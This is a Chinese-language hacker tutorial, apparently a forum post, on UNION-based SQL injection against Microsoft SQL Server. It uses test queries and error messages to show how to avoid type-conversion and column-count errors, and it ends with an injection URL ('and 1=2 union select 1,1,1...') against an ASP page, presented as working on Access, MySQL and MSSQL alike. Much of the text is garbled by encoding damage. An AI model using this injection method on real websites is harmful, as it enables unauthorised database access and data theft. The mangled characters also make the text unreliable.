union查詢可以說給了sql注射的一片新的天空,mysql和acc里都可以發(fā)揮很大的作用,那么在mssql里會(huì)是怎樣呢? 其實(shí)我很早就開始測試mssql里的union,不過我犯了個(gè)很大的錯(cuò)誤,以為在mssql里的union會(huì)受"數(shù)據(jù)類型轉(zhuǎn)換錯(cuò)誤"的影響,而不可以很好的完成替換工作,實(shí)際上是我錯(cuò)了。這里感謝xiaolu的提醒,THX。
以知
數(shù)據(jù)表master.dbo.spt_values的列如下:
name (nvarchar(35).null)
number(int,not null)
type(nchar(3),not Null)
low(int, Null)
high(int,Null)
status(int, Null)
我們查詢語句:
select type from dbo.spt_values where name='rpc';
返回:
type
A
查詢:
select type from dbo.spt_values where name='rpc' union select 111;
返回:
: 消息 245,級(jí)別 16,狀態(tài) 1,行 1
將 nvarchar 值 'A ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。
看到了沒?這個(gè)就是"數(shù)據(jù)類型轉(zhuǎn)換錯(cuò)誤",我就是看到這個(gè)才犯錯(cuò)誤的:( 我們看看什么語句union前面的部分 select type from dbo.spt_values where name='rpc' 由于name='rpc'存在 返回的type的類型為nchar 而union后面的 select 111返回的是數(shù)據(jù)類型為int,所以在union查詢時(shí)就出現(xiàn)了上面的錯(cuò)誤。
如果我們union前面的那個(gè)selet查詢的記錄不存在,將會(huì)怎么樣呢。
我們查詢語句:
select type from dbo.spt_values where name='rpcssdfsdfsdfds' union select 111;
或select type from dbo.spt_values where name='rpc' and 1=2 union select 111;
上面的語句里name='rpcssdfsdfsdfds'根本不存在 呵呵 這下就沒有錯(cuò)誤了 成功得到結(jié)果:
type
111
下面我們?cè)跍y試一個(gè)語句:select type,name from dbo.spt_values where name='rpc' union select 111;(union前面的查詢輸出type和name 2個(gè)字段)
得到錯(cuò)誤:
服務(wù)器: 消息 205,級(jí)別 16,狀態(tài) 1,行 1
包含 union 運(yùn)算符的 SQL 語句中的所有查詢都必須在目標(biāo)列表中具有相同數(shù)目的表達(dá)式。
哈哈~~ 大家對(duì)這個(gè)應(yīng)該錯(cuò)誤很熟悉了把。union查詢前后字段不對(duì)。什么的語句我們改為:
select type,name from dbo.spt_values where name='rpc' union select 111,111; (使前后2個(gè)查詢字段一樣)
成功得到結(jié)果:
type name
111 111
同樣語句
select * from dbo.spt_values where name='rpc' union select 1,1,1,1,1,1;
因?yàn)樵诒韘pt_values里有6個(gè)字段,所以u(píng)nion后面的查詢必須要有6個(gè)字段。
呵呵,其實(shí)這個(gè)問題在mysql注射文章里寫union查詢的時(shí)候已經(jīng)提過的,這里只是重新拿出來說明下。
小結(jié)下:
對(duì)于語句select A union select B (A和B不同數(shù)據(jù)表查詢)
1.union查詢必修是B里的字段要和A一樣。
2.在mssq里的union查詢?nèi)绻懊娌樵傾如果數(shù)據(jù)存在 那么不會(huì)象mysql里一樣輸出 前面查詢A的數(shù)據(jù),而是出現(xiàn)"將 nvarchar 值 'A ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤"這樣的錯(cuò)誤。
其實(shí)在注射中,我們的目的是要求得到語句B的返回結(jié)果,使用union查詢替換輸出必需保證語句A得到的結(jié)果為空,這個(gè)不管是mysql,access還是mssql都是一樣的。
所以我們采用 在注射的id后面加個(gè) and 1=2 如:
http://www.xxx.netVideoPlay.asp?VideoID=1995 and 1=2 union select 1,1,1,1.........這樣的形式,這個(gè)和mysql和acc的使用union語句是一樣的,這樣如果我們精心構(gòu)造我們的語句就可以使注射通用于acc,mysql>4.0,mssql或所有支持union的數(shù)據(jù)類型。